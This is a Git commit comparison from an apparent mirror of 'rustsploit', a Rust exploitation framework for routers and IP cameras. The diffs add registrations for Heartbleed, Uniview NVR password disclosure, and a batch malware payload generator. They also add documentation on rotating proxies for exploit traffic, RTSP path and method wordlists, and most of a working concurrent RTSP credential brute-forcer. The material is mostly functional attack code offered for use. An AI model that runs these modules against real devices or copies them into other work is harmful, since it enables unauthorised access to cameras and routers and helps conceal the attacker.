mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
46 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 8920be99ca | |||
| 075a898fd7 | |||
| 0e6fb4fa3c | |||
| e1ac588ee4 | |||
| cf4307c2b7 | |||
| 160090cb21 | |||
| f142be2b2e | |||
| 6464b95054 | |||
| da379c3d39 | |||
| fed1fc37d6 | |||
| ea08e77109 | |||
| 017e4907c5 | |||
| 06bc6134a7 | |||
| f29199e2e1 | |||
| ef1f44fc23 | |||
| ddabd9dcbc | |||
| 61d0a7ef3c | |||
| e6d5a85153 | |||
| d90f88ab91 | |||
| b4a91be121 | |||
| 9694801619 | |||
| 5313ae76f4 | |||
| bbbab50420 | |||
| 66256975ee | |||
| 87dbf50464 | |||
| 3b258196f8 | |||
| 2afa06ec1c | |||
| 62c1c0b1a2 | |||
| d11ee5cbeb | |||
| ddc6f57ade | |||
| 67a87ac70e | |||
| 16459fac69 | |||
| ae44fcb90c | |||
| 7f446b00a5 | |||
| e40938fbb5 | |||
| c841746f3c | |||
| bf06740df6 | |||
| 3be699817f | |||
| df998013b1 | |||
| b77f60a9c5 | |||
| 91d887217d | |||
| c0b9e431f5 | |||
| baf250e636 | |||
| 084b391737 | |||
| c13109589f | |||
| e0bbf7ba23 |
+22
-3
@@ -1,17 +1,20 @@
|
||||
[package]
|
||||
name = "r_routersploit"
|
||||
name = "rustsploit"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12.15", features = ["json"] }
|
||||
reqwest = { version = "0.12.15", features = ["json", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9.0"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5.35", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
@@ -33,3 +36,19 @@ walkdir = "2.5.0"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9.5"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22.1"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12.8"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11.1"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37.4"
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
|
||||
---
|
||||
|
||||
# R-RouterSploit 🛠️
|
||||
# Rustsploit 🛠️
|
||||
|
||||
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
|
||||
|
||||

|
||||

|
||||
|
||||
---
|
||||
|
||||
@@ -17,8 +15,32 @@ convert exploits and add modules
|
||||
|
||||
# completed
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
added uniview_nvr_pwd_disclosure
|
||||
|
||||
added ssdp_msearch
|
||||
|
||||
added hearbleed
|
||||
|
||||
added port scanner
|
||||
|
||||
added find command
|
||||
|
||||
updated docs
|
||||
|
||||
created docs
|
||||
|
||||
added wordlist for camera paths
|
||||
|
||||
added acti camera module
|
||||
|
||||
created bat payload generator for malware
|
||||
|
||||
added proxy support https/http socks4/socks5
|
||||
|
||||
telnet brute forcing module
|
||||
|
||||
ssh brute forcing module
|
||||
@@ -27,7 +49,10 @@ ftp anonymous login module
|
||||
|
||||
ftp brute forcing module
|
||||
|
||||
added rtsp_bruteforce module
|
||||
|
||||
dynamic modules listing and colored listing
|
||||
|
||||
```
|
||||
|
||||
## 🚀 Building & Running
|
||||
@@ -43,6 +68,45 @@ cd r-routersploit
|
||||
|
||||
```
|
||||
cargo build
|
||||
|
||||
or if you just want to run the tool and see after builing run this command in folder
|
||||
|
||||
cargo run
|
||||
```
|
||||
if you want it installed run
|
||||
```
|
||||
cargo install
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 🖥️ Run in Interactive Shell Mode
|
||||
|
||||
Launch the interactive RSF shell:
|
||||
|
||||
```
|
||||
|
||||
rustsploit
|
||||
|
||||
cargo run
|
||||
|
||||
|
||||
```
|
||||
|
||||
Once inside the shell, you can explore and execute modules:
|
||||
|
||||
```
|
||||
rsf> Available commands
|
||||
rsf> show_proxies
|
||||
rsf> proxy_off
|
||||
rsf> proxy_on
|
||||
rsf> proxy_load <file>
|
||||
rsf> find
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
### 🔧 Run in CLI Mode
|
||||
@@ -66,24 +130,5 @@ cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
|
||||
```
|
||||
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
|
||||
```
|
||||
|
||||
### 🖥️ Run in Interactive Shell Mode
|
||||
|
||||
Launch the interactive RSF shell:
|
||||
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
Once inside the shell, you can explore and execute modules:
|
||||
|
||||
```
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 82 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 104 KiB |
+172
-2
@@ -260,8 +260,178 @@ If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or
|
||||
|
||||
---
|
||||
|
||||
## 🧾 License
|
||||
Below is a **step-by-step** walkthrough of the proxy logic in the updated `shell.rs` whenever the user types `run`. It explains how the **retry mechanism** works, how a **new proxy** is selected after a failure, and how we **stop** when all proxies are exhausted.
|
||||
|
||||
---
|
||||
|
||||
Would you like me to convert this into a Markdown file (`docs.md`) and drop it into your project as-is? Or would you like GitHub-flavored `.md` formatting tailored with headers, badges, collapsible trees, etc.?
|
||||
## 1. `run` Command Overview
|
||||
|
||||
When the user types **`run`** in the shell:
|
||||
|
||||
1. We check if there is a **selected module** (`current_module`) and a **target** (`current_target`). If either is missing, we prompt the user to set them.
|
||||
|
||||
2. If both are set:
|
||||
- We look at whether **proxy usage** is **enabled** (`proxy_enabled = true`) and whether we have a **non-empty proxy list**.
|
||||
- Based on this, we do one of the following:
|
||||
- **Proxy is ON & we have proxies**: Attempt the exploit with **one or more** proxies in a loop (retrying).
|
||||
- **Proxy is ON & we have no proxies**: Just do a **direct** attempt (warn user).
|
||||
- **Proxy is OFF**: Only do a **direct** attempt.
|
||||
|
||||
---
|
||||
|
||||
## 2. When Proxy is ON (and Proxies Are Loaded)
|
||||
|
||||
If `proxy_enabled == true` and `proxy_list` is **not** empty, the `run` logic does this:
|
||||
|
||||
1. **Create** a `HashSet<String>` called `tried_proxies` – this will track which proxies we have already used and failed on.
|
||||
|
||||
2. **Loop** until either:
|
||||
- We **succeed** with a proxy, or
|
||||
- We have tried **all** proxies in `proxy_list`.
|
||||
|
||||
3. **Pick a Random Proxy**
|
||||
- We call `pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies)`.
|
||||
- This function filters out any proxies that are already in `tried_proxies` (i.e., ones that failed previously).
|
||||
- It then chooses **one** from the remaining pool **at random**.
|
||||
- If all have been tried, it falls back to picking *any* random proxy from the full list (ensuring no panic).
|
||||
|
||||
4. **Set `ALL_PROXY` Environment Variable**
|
||||
- We call `set_all_proxy_env(&chosen_proxy)`.
|
||||
- Inside that function, we do:
|
||||
```rust
|
||||
env::set_var("ALL_PROXY", proxy);
|
||||
```
|
||||
- Because your exploit modules use `reqwest` (with the `socks` feature), **any** request they make automatically goes through that proxy (whether it’s HTTP, HTTPS, SOCKS4, or SOCKS5).
|
||||
|
||||
5. **Run the Module**
|
||||
```rust
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => { ... }
|
||||
Err(e) => { ... }
|
||||
}
|
||||
```
|
||||
- This calls the real exploit/scanner/cred module. The module tries to send its requests.
|
||||
- Because `ALL_PROXY` is set, **all** of its traffic routes through the chosen proxy.
|
||||
|
||||
6. **Check the Result**
|
||||
- If it returns `Ok(())`, that means the exploit **did not** fail at the top level. We **break** the loop and stop retrying.
|
||||
- If it returns `Err(e)`, we:
|
||||
1. Print an error message.
|
||||
2. Add the **chosen proxy** to `tried_proxies`.
|
||||
3. Repeat the loop, picking a new untried proxy.
|
||||
|
||||
7. **Exhausting All Proxies**
|
||||
- If we eventually try **every** proxy in `proxy_list` (i.e., `tried_proxies.len() == ctx.proxy_list.len()`) and **still** fail, we exit the loop.
|
||||
|
||||
8. **Final Fallback: Direct Attempt**
|
||||
- If we never got a success, we do a **final** attempt **without** any proxy:
|
||||
```rust
|
||||
clear_proxy_env_vars();
|
||||
commands::run_module(module_path, t).await;
|
||||
```
|
||||
- That either succeeds or fails. If it fails, we simply print the error and continue (or end).
|
||||
|
||||
---
|
||||
|
||||
## 3. When Proxy is ON but No Proxies Are Loaded
|
||||
|
||||
If `proxy_enabled == true` but `proxy_list` is empty:
|
||||
|
||||
1. We **cannot** pick a proxy, so we simply show a warning:
|
||||
```
|
||||
[!] No proxies loaded, but proxy is ON. Doing direct attempt...
|
||||
```
|
||||
2. We call `clear_proxy_env_vars()` to ensure we’re not using a stale proxy environment variable.
|
||||
3. We run the module once. No retries occur here.
|
||||
|
||||
---
|
||||
|
||||
## 4. When Proxy is OFF
|
||||
|
||||
If `proxy_enabled == false`, we do a **single** direct attempt:
|
||||
|
||||
1. `clear_proxy_env_vars()` is called to remove any existing proxy environment variables.
|
||||
2. `commands::run_module(module_path, t).await` is called.
|
||||
3. If it fails, we just print the error. We do **not** retry.
|
||||
|
||||
---
|
||||
|
||||
## 5. Summarizing the Retry Logic
|
||||
|
||||
Below is a simplified flowchart of the “**Proxy is ON & Proxies Are Loaded**” scenario:
|
||||
|
||||
```
|
||||
+--------------------------+
|
||||
| Start 'run' command |
|
||||
+--------------------------+
|
||||
| (Check if module & target are set)
|
||||
v
|
||||
+-------------------------------+
|
||||
| tried_proxies = empty set |
|
||||
+-------------------------------+
|
||||
|
|
||||
| while tried_proxies.len() < proxy_list.len():
|
||||
v
|
||||
+--------------------------------------------------+
|
||||
| pick_random_untried_proxy(proxy_list, tried_set) |
|
||||
+--------------------------------------------------+
|
||||
|
|
||||
| set_all_proxy_env(chosen_proxy)
|
||||
v
|
||||
+-----------------------------------------+
|
||||
| run_module(module_path, target) => Err? |
|
||||
+-----------------------------------------+
|
||||
| |
|
||||
(Ok) | | (Err)
|
||||
v v
|
||||
(Stop) tried_proxies.insert(chosen_proxy)
|
||||
(loop again)
|
||||
|
||||
If we exit the loop with no success:
|
||||
=> clear_proxy_env_vars()
|
||||
=> do a final direct run_module()
|
||||
```
|
||||
|
||||
Hence, after each failure, we remove that proxy from the candidate pool and pick a new one. We do **not** pick the same failing proxy again. If, after exhausting **all** proxies, everything fails, we do one **direct** attempt with no proxy.
|
||||
|
||||
---
|
||||
|
||||
## 6. Why This Requires No Changes to Exploit Modules
|
||||
|
||||
- **All** changes happen at the shell level (the `run` command).
|
||||
- Each time we call `commands::run_module(...)`, we have **already** set the environment variable `ALL_PROXY`.
|
||||
- The exploit modules (e.g., `sample_exploit.rs`) simply use `reqwest` without knowing or caring about proxies.
|
||||
- `reqwest` automatically checks `ALL_PROXY` and routes traffic accordingly.
|
||||
- If that proxy fails for any reason (connection refused, times out, etc.), `run_module(...)` returns an error to the shell, triggering the **retry** logic.
|
||||
|
||||
---
|
||||
|
||||
## 7. Practical Considerations
|
||||
|
||||
1. **Module-Level vs. Shell-Level Retries**
|
||||
- We do an entire “exploit run” in one attempt. If the exploit tries multiple sub-requests and fails halfway, from the shell’s perspective it’s just one run that failed.
|
||||
- We then pick a new proxy and re-run from scratch.
|
||||
|
||||
2. **Timeouts**
|
||||
- If a proxy is **very** slow or dead, you may not get an error for a while (unless your module sets timeouts).
|
||||
- Consider setting a **short** timeout in your modules if you want to quickly detect non-functional proxies.
|
||||
|
||||
3. **Full Proxy Exhaustion**
|
||||
- If every proxy fails, we do a final direct attempt. If that also fails, we give up.
|
||||
|
||||
4. **Thread-Safety**
|
||||
- Because we’re doing everything in a single-threaded loop, environment-variable changes are straightforward.
|
||||
- In a multi-threaded scenario, changing `ALL_PROXY` globally might cause conflicts or race conditions.
|
||||
|
||||
---
|
||||
|
||||
## 8. Final Summary
|
||||
|
||||
1. **User** types `run`.
|
||||
2. If **proxy is on** and there are proxies in the list, the shell tries them **one by one** (random order), setting `ALL_PROXY` each time and calling `run_module`.
|
||||
3. On each **failure**, the shell adds that proxy to a “tried” set and repeats with a **new** proxy.
|
||||
4. If the user **exhausts** all proxies (they all fail), the shell **finally** attempts a **direct** run (no proxy).
|
||||
5. If the exploit **succeeds** at any point, we **stop** retrying.
|
||||
6. This entire sequence requires **no changes** to the exploit modules, as they already rely on `reqwest`, which automatically respects `ALL_PROXY`.
|
||||
|
||||
That’s the logic behind automatic proxy retries for failing requests!
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
just lists like word lists
|
||||
@@ -0,0 +1,176 @@
|
||||
|
||||
0
|
||||
0video1
|
||||
1
|
||||
1.AMP
|
||||
11:1main
|
||||
1cif
|
||||
1stream1
|
||||
11
|
||||
12
|
||||
4
|
||||
CAM_ID.password.mp2
|
||||
CH001.sdp
|
||||
GetData.cgi
|
||||
H264
|
||||
HighResolutionVideo
|
||||
HighResolutionvideo
|
||||
Image.jpg
|
||||
LowResolutionVideo
|
||||
MJPEG.cgi
|
||||
MediaInputh264
|
||||
MediaInputh264stream_1
|
||||
MediaInputmpeg4
|
||||
ONVIFMediaInput
|
||||
ONVIFchannel1
|
||||
PSIAStreamingchannels0?videoCodecType=H.264
|
||||
PSIAStreamingchannels1
|
||||
PSIAStreamingchannels1?videoCodecType=MPEG4
|
||||
PSIAStreamingchannelsh264
|
||||
Possible
|
||||
ROHchannel11
|
||||
StreamingChannels1
|
||||
StreamingChannels101
|
||||
StreamingChannels102
|
||||
StreamingChannels103
|
||||
StreamingChannels2
|
||||
StreamingUnicastchannels101
|
||||
Streamingchannels101
|
||||
Video?Codec=MPEG4&Width=720&Height=576&Fps=30
|
||||
VideoInput1h2641
|
||||
access_code
|
||||
access_name_for_stream_1_to_5
|
||||
av0_0
|
||||
av0_1
|
||||
av2
|
||||
avn=2
|
||||
axis-mediamedia.amp
|
||||
axis-mediamedia.amp?videocodec=h264&resolution=640x480
|
||||
cam
|
||||
camrealmonitor
|
||||
camrealmonitor?channel=1&subtype=00
|
||||
camrealmonitor?channel=1&subtype=01
|
||||
camrealmonitor?channel=1&subtype=1
|
||||
cam0_0
|
||||
cam0_1
|
||||
cam1h264
|
||||
cam1h264multicast
|
||||
cam1mjpeg
|
||||
cam1mpeg4
|
||||
cam1onvif-h264
|
||||
camera.stm
|
||||
cgi-binviewervideo.jpg?resolution=640x480
|
||||
ch0
|
||||
ch0.h264
|
||||
ch001.sdp
|
||||
ch01.264
|
||||
ch0_0.h264
|
||||
ch0_unicast_firststream
|
||||
ch0_unicast_secondstream
|
||||
channel1
|
||||
dms.jpg
|
||||
dms?nowprofileid=2
|
||||
h264
|
||||
h264.sdp
|
||||
h264ch1sub
|
||||
h264media.amp
|
||||
h264Preview_01_main
|
||||
h264Preview_01_sub
|
||||
cam4mpeg4
|
||||
h264_vga.sdp
|
||||
image.jpg
|
||||
image.mpg
|
||||
imagejpeg.cgi
|
||||
imgmedia.sav
|
||||
imgvideo.asf
|
||||
imgvideo.sav
|
||||
ioImage1
|
||||
ipcam.sdp
|
||||
ipcamstream.cgi?nowprofileid=2
|
||||
ipcam_h264.sdp
|
||||
jpgimage.jpg?size=3
|
||||
live
|
||||
live.sdp
|
||||
liveav0
|
||||
livech0
|
||||
livech00_0
|
||||
livech00_1
|
||||
livech1
|
||||
livech2
|
||||
liveh264
|
||||
livempeg4
|
||||
live0.264
|
||||
live1.264
|
||||
live1.sdp
|
||||
live2.sdp
|
||||
live3.sdp
|
||||
live_h264.sdp
|
||||
live_mpeg4.sdp
|
||||
livestream
|
||||
livestream
|
||||
media
|
||||
media.amp
|
||||
mediamedia.amp
|
||||
mediavideo1
|
||||
mediavideo2
|
||||
mediavideo3
|
||||
medias1
|
||||
mjpeg.cgi
|
||||
mjpegmedia.smp
|
||||
mp4
|
||||
mpeg4
|
||||
mpeg41media.amp
|
||||
mpeg4media.amp
|
||||
mpeg4media.amp?resolution=640x480
|
||||
mpeg4media.smp
|
||||
mpeg4cif
|
||||
mpeg4unicast
|
||||
mpg4rtsp.amp
|
||||
multicaststream
|
||||
now.mp4
|
||||
nph-h264.cgi
|
||||
nphMpeg4g726-640x
|
||||
nphMpeg4g726-640x480
|
||||
nphMpeg4nil-320x240
|
||||
onvif-mediamedia.amp
|
||||
onviflive2
|
||||
onvif1
|
||||
onvif2
|
||||
play1.sdp
|
||||
play2.sdp
|
||||
profile
|
||||
recognizer
|
||||
rtpvideo1.sdp
|
||||
rtsp_tunnel
|
||||
rtsph264
|
||||
rtsph2641080p
|
||||
stream1
|
||||
stream2
|
||||
streamingmjpeg
|
||||
synthesizer
|
||||
tcpav0_0
|
||||
user_defined
|
||||
video
|
||||
video.3gp
|
||||
video.cgi
|
||||
video.cgi?resolution=VGA
|
||||
video.cgi?resolution=vga
|
||||
video.h264
|
||||
video.mjpg
|
||||
video.mp4
|
||||
video.pro1
|
||||
video.pro2
|
||||
ucast11
|
||||
unicastc1s1live
|
||||
user.pin.mp2
|
||||
video.pro3
|
||||
videomjpg.cgi
|
||||
video1
|
||||
video1+audio1
|
||||
video2.mjpg
|
||||
videoMain
|
||||
videoinput_1:0h264_1onvif.stm
|
||||
user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
|
||||
videostream.cgi?rate=0
|
||||
vis
|
||||
wfov
|
||||
@@ -0,0 +1,82 @@
|
||||
OPTIONS
|
||||
DESCRIBE
|
||||
SETUP
|
||||
PLAY
|
||||
PAUSE
|
||||
TEARDOWN
|
||||
GET_PARAMETER
|
||||
SET_PARAMETER
|
||||
REDIRECT
|
||||
ANNOUNCE
|
||||
RECORD
|
||||
FLUSH
|
||||
PING
|
||||
STOP
|
||||
RECEIVE
|
||||
START
|
||||
SHUTDOWN
|
||||
CHECK
|
||||
INIT
|
||||
TRICKPLAY
|
||||
STREAM
|
||||
OPEN
|
||||
CLOSE
|
||||
START_RECORD
|
||||
STOP_RECORD
|
||||
SCALE
|
||||
RESUME
|
||||
STANDBY
|
||||
START_PLAY
|
||||
REQUEST_KEY_FRAME
|
||||
CONFIG
|
||||
FORCE_IFRAME
|
||||
DETECT
|
||||
ALIVE
|
||||
RENEW
|
||||
LINK
|
||||
UNLINK
|
||||
SET_DELAY
|
||||
RESET
|
||||
ACTIVATE
|
||||
DEACTIVATE
|
||||
ENABLE
|
||||
DISABLE
|
||||
LOGON
|
||||
LOGOFF
|
||||
AUTH
|
||||
START_STREAM
|
||||
STOP_STREAM
|
||||
SET_TIME
|
||||
GET_TIME
|
||||
GET_STATUS
|
||||
GET_CONFIG
|
||||
SET_CONFIG
|
||||
GET_INFO
|
||||
SET_INFO
|
||||
GET_SNAPSHOT
|
||||
TRIGGER
|
||||
UPGRADE
|
||||
QUERY
|
||||
POLL
|
||||
HEARTBEAT
|
||||
REPORT
|
||||
CAMERA_CONTROL
|
||||
FOCUS
|
||||
ZOOM
|
||||
PTZ
|
||||
PAN
|
||||
TILT
|
||||
PRESET
|
||||
GOTO_PRESET
|
||||
SET_PRESET
|
||||
REMOVE_PRESET
|
||||
ADJUST
|
||||
STATUS
|
||||
RESTART
|
||||
GET_URL
|
||||
SET_URL
|
||||
LOAD
|
||||
SAVE
|
||||
REGISTER
|
||||
UNREGISTER
|
||||
METADATA
|
||||
@@ -8,6 +8,7 @@ use crate::modules::creds::{
|
||||
sample_cred_check,
|
||||
telnet_bruteforce,
|
||||
ssh_bruteforce,
|
||||
rtsp_bruteforce_advanced,
|
||||
},
|
||||
camera::acti::acti_camera_default,
|
||||
};
|
||||
@@ -20,6 +21,7 @@ pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
"generic/ftp_anonymous" => ftp_anonymous::run(target).await?,
|
||||
"generic/telnet_bruteforce" => telnet_bruteforce::run(target).await?,
|
||||
"generic/ssh_bruteforce" => ssh_bruteforce::run(target).await?,
|
||||
"generic/rtsp_bruteforce_advanced" => rtsp_bruteforce_advanced::run(target).await?,
|
||||
"camera/acti/acti_camera_default" => acti_camera_default::run(target).await?,
|
||||
|
||||
_ => bail!("Creds module '{}' not found.", module_name),
|
||||
|
||||
+36
-7
@@ -1,13 +1,42 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::exploits;
|
||||
use anyhow::{Result, bail};
|
||||
|
||||
use crate::modules::exploits::{
|
||||
self,
|
||||
payloadgens,
|
||||
generic,
|
||||
camera,
|
||||
};
|
||||
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_exploit" => {
|
||||
exploits::sample_exploit::run(target).await?;
|
||||
},
|
||||
// Add more exploit modules here ...
|
||||
_ => eprintln!("Exploit module '{}' not found.", module_name),
|
||||
// ───────────── standard exploits ─────────────
|
||||
"sample_exploit" |
|
||||
"exploits/sample_exploit" => {
|
||||
exploits::sample_exploit::run(target).await?
|
||||
}
|
||||
|
||||
// ───────── payload generators (nested) ───────
|
||||
"payloadgenbat" |
|
||||
"payloadgens/payloadgenbat" |
|
||||
"exploits/payloadgens/payloadgenbat" => {
|
||||
payloadgens::payloadgenbat::run(target).await?
|
||||
}
|
||||
|
||||
// ──────────────── generic exploits ────────────────
|
||||
"generic/heartbleed" |
|
||||
"exploits/generic/heartbleed" => {
|
||||
generic::heartbleed::run(target, 443).await?
|
||||
}
|
||||
|
||||
// ──────────────── camera exploits ────────────────
|
||||
"camera/uniview_nvr_pwd_disclosure" |
|
||||
"exploits/camera/uniview_nvr_pwd_disclosure" => {
|
||||
camera::uniview_nvr_pwd_disclosure::run(target).await?
|
||||
}
|
||||
|
||||
|
||||
_ => bail!("Exploit module '{}' not found.", module_name),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -3,11 +3,11 @@ use crate::modules::scanners;
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_scanner" => {
|
||||
scanners::sample_scanner::run(target).await?;
|
||||
},
|
||||
// Add more scanner modules here ...
|
||||
"sample_scanner" => scanners::sample_scanner::run(target).await?,
|
||||
"ssdp_msearch" => scanners::ssdp_msearch::run(target).await?,
|
||||
"port_scanner" => scanners::port_scanner::run_interactive(target).await?, // ✅ interactive mode
|
||||
_ => eprintln!("Scanner module '{}' not found.", module_name),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -4,4 +4,4 @@
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::Engine as _;
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::SocketAddr,
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== Advanced RTSP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
//------------------------------
|
||||
// 1) Basic Brute Force Settings
|
||||
//------------------------------
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("RTSP Port", "554")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
//------------------------------
|
||||
// 2) Advanced Features
|
||||
//------------------------------
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
// By default, we'll demonstrate a DESCRIBE method.
|
||||
// You could prompt for multiple commands, but here's one for simplicity.
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
|
||||
// Prompt for custom headers file
|
||||
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
|
||||
if headers_file {
|
||||
let headers_path = prompt_required("Path to RTSP headers file")?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
//------------------------------
|
||||
// 3) Brute Force RTSP Paths
|
||||
//------------------------------
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
|
||||
let paths = if brute_force_paths {
|
||||
let paths_file = prompt_required("Path to RTSP paths file")?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
// If not brute forcing paths, we just do an empty vector or single slash
|
||||
vec!["".to_string()] // We'll interpret "" as no path specified
|
||||
};
|
||||
|
||||
//------------------------------
|
||||
// 4) Begin Brute Force
|
||||
//------------------------------
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
// Load user list
|
||||
let users = load_lines(&usernames_file)?;
|
||||
|
||||
// Load password list
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
|
||||
let mut idx = 0;
|
||||
// For each password
|
||||
for pass in pass_lines {
|
||||
// If we've already found valid creds and we're stopping on success, break early
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
// If combo_mode is true, each password tries all users.
|
||||
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Use user at "idx % users.len()" if we’re not in combo_mode
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
// We batch tasks up to "concurrency"
|
||||
let mut handles = vec![];
|
||||
|
||||
// For each username
|
||||
for user in userlist {
|
||||
// For each path
|
||||
for path in &paths {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
// Clone references for the task
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let path = path.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
// The advanced method & headers
|
||||
let command = advanced_command.clone();
|
||||
let headers = advanced_headers.clone();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
// Check again if we've been signaled to stop
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
|
||||
println!("[+] {} -> {}:{} [path={}]",
|
||||
addr, user, pass, path_str);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
|
||||
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {} -> error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
// A short delay between attempts
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
// If we reach concurrency, wait for them to finish before scheduling more
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for any leftover tasks in the batch
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
